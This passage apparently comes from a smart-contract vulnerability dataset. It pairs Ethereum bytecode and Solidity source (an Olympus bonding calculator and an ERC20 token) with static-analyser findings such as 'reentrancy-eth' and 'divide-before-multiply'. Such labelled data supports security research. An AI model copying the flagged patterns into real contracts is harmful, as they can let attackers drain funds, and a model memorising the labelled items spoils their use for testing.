56c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161061f565b600893909355600a91909155600955600b55565b60006106a1338484610e2a565b6012546001600160a01b0316336001600160a01b03161480610b2d57506013546001600160a01b0316336001600160a01b0316145b610b3657600080fd5b6000610b4130610831565b905061082e8161144a565b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161061f90611d9d565b60005b82811015610be7578160056000868685818110610b9857610b98611dd2565b9050602002016020810190610bad9190611c4d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bdf81611dfe565b915050610b79565b50505050565b6000546001600160a01b03163314610c175760405162461bcd60e51b815260040161061f90611d9d565b601755565b6000546001600160a01b03163314610c465760405162461bcd60e51b815260040161061f90611d9d565b6001600160a01b038116610cab5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061f565b6001600160a01b038216610dc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061f565b6001600160a01b038216610ef05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061f565b60008111610f525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061f565b6000546001600160a01b03848116911614801590610f7e57506000546001600160a01b03838116911614155b1561124b57601554600160a01b900460ff16611017576000546001600160a01b038481169116146110175760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c65640000000000000000606482015260840161061f565b6016548111156110615760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b604482015260640161061f565b6001600160a01b03831660009081526010602052604090205460ff161580156110a357506001600160a01b03821660009081526010602052604090205460ff16155b6110ef5760405162461bcd60e51b815260206004820152601c60248201527f596f7572206163636f756e7420697320626c61636b6c69737465642100000000604482015260640161061f565b6015546001600160a01b03838116911614611174576017548161111184610831565b61111b9190611e19565b106111745760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061f565b600061117f30610831565b6018546016549192508210159082106111985760165491505b8080156111af5750601554600160a81b900460ff16155b80156111c957506015546001600160a01b03868116911614155b80156111de5750601554600160b01b900460ff165b801561120357506001600160a01b03851660009081526005602052604090205460ff16155b801561122857506001600160a01b03841660009081526005602052604090205460ff16155b15611248576112368261144a565b478015611246576112464761138c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128d57506001600160a01b03831660009081526005602052604090205460ff165b806112bf57506015546001600160a01b038581169116148015906112bf57506015546001600160a01b03848116911614155b156112cc57506000611346565b6015546001600160a01b0385811691161480156112f757506014546001600160a01b03848116911614155b1561130957600854600c55600954600d555b6015546001600160a01b03848116911614801561133457506014546001600160a01b03858116911614155b1561134657600a54600c55600b54600d555b610be7848484846115d3565b600081848411156113765760405162461bcd60e51b815260040161061f9190611b8b565b5060006113838486611e31565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610690573d6000803e3d6000fd5b600060065482111561142d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061f565b6000611437611601565b90506114438382611624565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611dd2565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e657600080fd5b505afa1580156114fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151e9190611e48565b8160018151811061153157611531611dd2565b6001600160a01b0392831660209182029290920101526014546115579130911684610d06565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611590908590600090869030904290600401611e65565b600060405180830381600087803b1580156115aa57600080fd5b505af11580156115be573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115e0576115e0611666565b6115eb848484611694565b80610be757610be7600e54600c55600f54600d55565b600080600061160e61178b565b909250905061161d8282611624565b9250505090565b600061144383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117cd565b600c541580156116765750600d54155b1561167d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116a6876117fb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d89087611858565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611707908661189a565b6001600160a01b038916600090815260026020526040902055611729816118f9565b6117338483611943565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a78282611624565b8210156117c457505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117ee5760405162461bcd60e51b815260040161061f9190611b8b565b5060006113838486611ed6565b60008060008060008060008060006118188a600c54600d54611967565b9250925092506000611828611601565b9050600080600061183b8e8787876119bc565b919e509c509a509598509396509194505050505091939550919395565b600061144383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611352565b6000806118a78385611e19565b9050838110156114435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061f565b6000611903611601565b905060006119118383611a0c565b3060009081526002602052604090205490915061192e908261189a565b30600090815260026020526040902055505050565b6006546119509083611858565b600655600754611960908261189a565b6007555050565b6000808080611981606461197b8989611a0c565b90611624565b90506000611994606461197b8a89611a0c565b905060006119ac826119a68b86611858565b90611858565b9992985090965090945050505050565b60008080806119cb8886611a0c565b905060006119d98887611a0c565b905060006119e78888611a0c565b905060006119f9826119a68686611858565b939b939a50919850919650505050505050565b600082611a1b575060006106a5565b6000611a278385611ef8565b905082611a348583611ed6565b146114435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082e57600080fd5b8035611ac181611aa1565b919050565b60006020808385031215611ad957600080fd5b823567ffffffffffffffff80821115611af157600080fd5b818501915085601f830112611b0557600080fd5b813581811115611b1757611b17611a8b565b8060051b604051601f19603f83011681018181108582111715611b3c57611b3c611a8b565b604052918252848201925083810185019188831115611b5a57600080fd5b938501935b82851015611b7f57611b7085611ab6565b84529385019392850192611b5f565b98975050505050505050565b600060208083528351808285015260005b81811015611bb857858101830151858201604001528201611b9c565b81811115611bca576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bf357600080fd5b8235611bfe81611aa1565b946020939093013593505050565b600080600060608486031215611c2157600080fd5b8335611c2c81611aa1565b92506020840135611c3c81611aa1565b929592945050506040919091013590565b600060208284031215611c5f57600080fd5b813561144381611aa1565b80358015158114611ac157600080fd5b600060208284031215611c8c57600080fd5b61144382611c6a565b600060208284031215611ca757600080fd5b5035919050565b60008060008060808587031215611cc457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cf557600080fd5b833567ffffffffffffffff80821115611d0d57600080fd5b818601915086601f830112611d2157600080fd5b813581811115611d3057600080fd5b8760208260051b8501011115611d4557600080fd5b602092830195509350611d5b9186019050611c6a565b90509250925092565b60008060408385031215611d7757600080fd5b8235611d8281611aa1565b91506020830135611d9281611aa1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1257611e12611de8565b5060010190565b60008219821115611e2c57611e2c611de8565b500190565b600082821015611e4357611e43611de8565b500390565b600060208284031215611e5a57600080fd5b815161144381611aa1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb55784516001600160a01b031683529383019391830191600101611e90565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ef357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1257611f12611de8565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7dfbedb6b9f3cb800042a5733ef4da78fe990ac08395bb1f8ae3ec91cf27d9864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,319
0xcb4b5b0800dfc0c981625b01fd2ff4f45e130141
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a uq112x112 into a uint with 18 decimals of precision function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } interface IERC20 { function decimals() external view returns (uint8); } interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); } interface IUniswapV2Pair is IUniswapV2ERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns ( address ); function token1() external view returns ( address ); } interface IBondingCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract OlympusBondingCalculator is IBondingCalculator { using FixedPoint for *; using SafeMath for uint; using SafeMath for uint112; address public immutable OHM; constructor( address _OHM ) { require( _OHM != address(0) ); OHM = _OHM; } function getKValue( address _pair ) public view returns( uint k_ ) { uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals(); uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals(); uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() ); (uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); k_ = reserve0.mul(reserve1).div( 10 ** decimals ); } function getTotalValue( address _pair ) public view returns ( uint _value ) { _value = getKValue( _pair ).sqrrt().mul(2); } function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) { uint totalValue = getTotalValue( _pair ); uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); _value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 ); } function markdown( address _pair ) external view returns ( uint ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; if ( IUniswapV2Pair( _pair ).token0() == OHM ) { reserve = reserve1; } else { reserve = reserve0; } return reserve.mul( 2 * ( 10 ** IERC20( OHM ).decimals() ) ).div( getTotalValue( _pair ) ); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f146100b4578063490084ef14610116578063686375491461016e578063a6c41fec146101c6575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101fa565b6040518082815260200191505060405180910390f35b610100600480360360408110156100ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061047b565b6040518082815260200191505060405180910390f35b6101586004803603602081101561012c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610556565b6040518082815260200191505060405180910390f35b6101b06004803603602081101561018457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610904565b6040518082815260200191505060405180910390f35b6101ce610931565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561024557600080fd5b505afa158015610259573d6000803e3d6000fd5b505050506040513d606081101561026f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f000000000000000000000000a09c0e98a252965a2b6bf2994e2d2c020af0f89a73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561033857600080fd5b505afa15801561034c573d6000803e3d6000fd5b505050506040513d602081101561036257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103975781905061039b565b8290505b6104716103a786610904565b6104637f000000000000000000000000a09c0e98a252965a2b6bf2994e2d2c020af0f89a73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561041057600080fd5b505afa158015610424573d6000803e3d6000fd5b505050506040513d602081101561043a57600080fd5b810190808051906020019092919050505060ff16600a0a6002028461095590919063ffffffff16565b6109db90919063ffffffff16565b9350505050919050565b60008061048784610904565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d157600080fd5b505afa1580156104e5573d6000803e3d6000fd5b505050506040513d60208110156104fb57600080fd5b8101908080519060200190929190505050905061054c670de0b6b3a764000061053e61052f61052a8886610a25565b610d06565b8561095590919063ffffffff16565b6109db90919063ffffffff16565b9250505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561059f57600080fd5b505afa1580156105b3573d6000803e3d6000fd5b505050506040513d60208110156105c957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d602081101561064957600080fd5b810190808051906020019092919050505060ff16905060008373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d602081101561075157600080fd5b810190808051906020019092919050505060ff16905060006108118573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b257600080fd5b505afa1580156107c6573d6000803e3d6000fd5b505050506040513d60208110156107dc57600080fd5b810190808051906020019092919050505060ff166108038486610d4290919063ffffffff16565b610dca90919063ffffffff16565b90506000808673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561085c57600080fd5b505afa158015610870573d6000803e3d6000fd5b505050506040513d606081101561088657600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506108f883600a0a6108ea838561095590919063ffffffff16565b6109db90919063ffffffff16565b95505050505050919050565b600061092a600261091c61091785610556565b610e14565b61095590919063ffffffff16565b9050919050565b7f000000000000000000000000a09c0e98a252965a2b6bf2994e2d2c020af0f89a81565b60008083141561096857600090506109d5565b600082840290508284828161097957fe5b04146109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112146021913960400191505060405180910390fd5b809150505b92915050565b6000610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e84565b905092915050565b610a2d6111bc565b60008211610a86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b6000831415610ac457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050610d00565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311610bfd57600082607060ff1685901b81610b1157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610bc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610d00565b6000610c19846e01000000000000000000000000000085610f4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610ccf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681610d3a57fe5b049050919050565b600080828401905083811015610dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100c565b905092915050565b60006003821115610e71578190506000610e39610e328460026109db565b6001610d42565b90505b81811015610e6b57809150610e64610e5d610e5785846109db565b83610d42565b60026109db565b9050610e3c565b50610e7f565b60008214610e7e57600190505b5b919050565b60008083118290610f30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef5578082015181840152602081019050610eda565b50505050905090810190601f168015610f225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3c57fe5b049050809150509392505050565b6000806000610f5986866110cc565b9150915060008480610f6757fe5b868809905082811115610f7b576001820391505b8083039250848210610ff5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b61100083838761111f565b93505050509392505050565b60008383111582906110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107e578082015181840152602081019050611063565b50505050905090810190601f1680156110ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110f957fe5b84860990508385029250828103915082811015611117576001820391505b509250929050565b600080826000038316905080838161113357fe5b04925080858161113f57fe5b049450600181826000038161115057fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220cb6b7e4d7215a47b7c63c2346f6c2acde1d6321ac6412913275e4349e2563c8564736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,320
0x1029c2239b0a63d8f51649c9b56c6bbfae841100
pragma solidity ^0.4.17; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ 